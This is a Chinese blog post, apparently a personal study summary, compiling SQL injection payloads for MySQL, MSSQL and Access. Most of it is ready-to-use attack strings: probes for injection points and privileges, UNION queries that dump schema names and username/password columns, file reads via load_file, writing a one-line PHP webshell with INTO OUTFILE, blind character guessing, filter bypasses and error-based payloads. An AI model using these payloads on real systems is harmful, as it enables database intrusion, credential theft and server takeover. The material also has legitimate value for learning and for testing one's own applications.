SQL注入總結(部分,持續更新)

SQL注入

暑假無聊,想着整理一下學過的知識,總結一下常見的知識點,瀕危下一步的學習打下基礎,這是系列第一篇:SQL注入

1、SQL注入原理

SQL注入是因爲過於信任用戶,未對用戶的輸入進行過濾,攻擊者可以通過將惡意的Sql查詢或添加語句插入到應用的輸入參數中,再在後臺Sql服務器上解析執行,進行攻擊

2、SQL注入流程

1、判斷注入點及注入類型:

粗略型:提交單引號’

邏輯型(數字型注入):and 1=1/and 1=2

邏輯型(字符型注入):’ and ‘1’=‘1/’ and ‘1’='2

邏輯型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%

2、簡單判斷數據庫信息:

粗略型:

加單引號’(根據服務器報錯的信息來判斷)

加;–(;表示分離,-- 則是註釋符,;和–MSSQL數據庫有,ACCESS數據庫沒有)

邏輯型:

and user>0

and (select count(*) from msysobjects)>0 ……(頁面錯誤爲access數據庫)

and (select count(*) from sysobjects)>0 ……(頁面正常爲MSSQL數據庫)

and db_name()>0 ……(爆數據庫名)

and version>0(爆SQLServer版本信息以及服務器操作系統的類型和版本信息)

判斷MSSQL權限:

and 0<>(Select ISSRVROLEMEMBER(‘sysadmin’))–(頁面正常則爲SA)

and 0<>(Select IS_MEMBER(‘db_owner’))–(頁面正常則爲db_owner)

and 0<>(Select IS_MEMBER(‘public’))–(頁面正常則是public)

注意:

以上方法適用於參數是int數字型的時候。

若爲字符型,需在參數後添加單引號’並在查詢語句後添加;–,搜索型注入以此類推。

判斷MYSQL權限:

and ord(mid(user(),1,1))=114 /* (頁面正常說明爲root)

3、猜解數據庫、數據庫名、表名、字段名、字段內容

(1)mysql數據庫:

假設注入點爲?id=1

判斷字段數:

order by方法: ?id=1 order by x-- 		(將x修改爲1~n,直到報錯前一個數即爲字段數) 

union聯合查詢: ?id =1 and 1=1 union select 1,2,3,4,5...

判斷顯示位:

?id=1 and 1=2 union select 1,2,3,4,5...

也可以將and 1=2 換爲?id=-1

查詢數據庫(假設字段數爲10,回顯位爲4):

版本大於5.0的mysql的information_schema庫中存儲着mysql的所有數據庫和表結構信息,所以可以利用information_schema庫快速注入。

獲取第一個庫名:

	and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

獲取第二個庫名:

	and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2	以此類推。

也可以使用:and 1=2 union select 1,2,3,group_concat(SCHEMA_NAME),5,6,7,8,9,10 from information_schema.SCHEMATA	將所有數據庫顯示出來

查詢表:

and 1=2 union select 1,2,3,group_concat(TABLE_NAME),5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA='數據庫名'

查詢列:

and 1=2 Union select 1,2,3,group_concat(COLUMN_NAME),5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME='表名'

查詢字段內容:

在不同的顯示位顯示不同的字段內容:

and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

在同一個顯示位顯示不同的字段內容:

and 1=2 Union select 1,2,3,concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

mysql讀取寫入文件(用來寫入webshell)

必備條件:

讀:file權限必備

寫:1.絕對路徑 2.union使用 3. 可以使用''

-------------------------讀----------------------

mysql3.x讀取方法

create table a(cmd text);

load data infile 'c:\xxx\xxx\xxx.txt' into table a;

select * from a;

mysql4.x讀取方法

除上述方法還可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\ddd\ddd\ddd.txt'));

select * from a;

mysql5.x讀取方法

上述兩種都可以

讀取文件技巧:

	load_file(char(32,26,56,66))

	load_file(0x633A5C626F6F742E696E69)

-------------------------寫--------------------------

into outfile寫文件

union select 1,2,3,char(這裏寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*

union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*

(2)ACCESS注入

猜解表名:

and 0<>(select count(*) from 表名) 或 and exists(Select * from 表名)

猜解字段:

and exists(Select 字段名 from 表名)(頁面正常存在該字段,不正常不存在該字段)

猜解用戶名和密碼長度:

and(Select top 1 len(列名) from 表名)>N

(TOP表示把最前面的一條記錄提取出來;N爲變換猜解的列長度,頁面錯誤即說明該列長度爲N)

如:

and 1=(select count(*) from user where len(name)>6) 錯誤

and 1=(select count(*) from user where len(name)>5) 正確

則表示user表中name字段的第一條記錄的長度是6。

猜解用戶名和密碼:

and (select top 1 asc(mid(列名,1,1)) from 表名)>0

如:

and (select top 1 asc(mid(name,1,1)) from user)>96 頁面正常

and (select top 1 asc(mid(name,1,1)) from user)>97 頁面錯誤

則表示user表中name字段的第一條記錄的第一個字符的ASCLL碼爲97

注意:

因爲MD5的密文長度通常有16位、18位、32位、40位等幾種,

所以猜解密碼的時候試一試15、16、17、18、31、32、39、40等長度可以加快猜解進度。

4、部分其他知識

過濾空格注入

使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

3.多條數據顯示

concat()

group_concat()

concat_ws()

4.相關函數

system_user() 系統用戶名

user() 用戶名

current_user 當前用戶名

session_user()連接數據庫的用戶名

database() 數據庫名

version() MYSQL數據庫版本

load_file() MYSQL讀取本地文件的函數

@@datadir 讀取數據庫路徑

@@basedir MYSQL 安裝路徑

@@version_compile_os 操作系統 Windows Server 2003

報錯注入:

通過floor報錯 、ExtractValue、 UpdateXml、 join報錯注入

這種方法適用於注入的時候沒有返回位。 而且能返回mysql錯誤提示,php返回錯誤提示。

原理:當在一個聚合函數,比如count函數後面如果使用分組語句就會把 查詢的一部分以錯誤的形式顯示出來。

一、floor報錯注入:

其實主要就是套公式,公式分爲4部分:

1,邏輯錯誤部分,也就是將GET變量取值變爲邏輯錯誤值,例如.php?id=0 或者.php?id=12+and+1=2

2,固定SQL聯合查詢語句,語句爲:(核心) union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆數據語 句))a from information_schema.tables group by a)b

3,註釋語句,將整個語句後面的部分註釋掉,可以用"/*"註釋符,也可以用 "–“終止符,也可以用%23這個”#"字符

4,注入爆數據語句,基本格式就是select XX from YY的格式。

例:

1、顯示當前數據庫名,登陸用戶,數據庫版本和數據路徑

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+con cat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+fro m+information_schema.tables+group+by+a)b 獲取所有的數據庫名

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(SELECT distinct concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e)+FROM+information_sch ema.SCHEMATA+LIMIT+0,1))a+from information_schema.tables+group+by+a)b

2、爆當前數據庫中的表

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_na me+from+information_schema.tables+where+table_schema=database()+limit+0, 1))a+from+information_schema.tables+group+by+a)b

3、爆字段

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_n ame+from+information_schema.columns+where+table_name=表名 +limit+0,1))a+from+information_schema.tables+group+by+a)b

4、爆內容

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x 3a,字段1,0x3a,字段2)+from+表名 +limit+0,1))a+from+information_schema.tables+group+by+a)b

二、updatexml報錯注入:

例:

updatexml(1,(concat(0x7e,(select database()),0x7e)),1)

三、ExtractValue

測試語句 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));

– ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

解釋: extractvalue()函數有兩個參數,在實際注入時第一個參數設爲1,第二個參 數就是需要爆的數據; 在爆的數據前不連接其他字符可能會顯示不完全

四、join注入

利用重複查詢相同表的方法來報數據。 下面以爆mysql.user表爲例爆字段名的過程:

(1)爆第一個列名 select * from(select * from mysql.user a join mysql.user b)c;

(2)爆第二個列名(使用using) select * from(select * from mysql.user a join mysql.user b using(Host))c;

(3)爆第三列名(還是使用using,參數是前兩個列的列名) select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章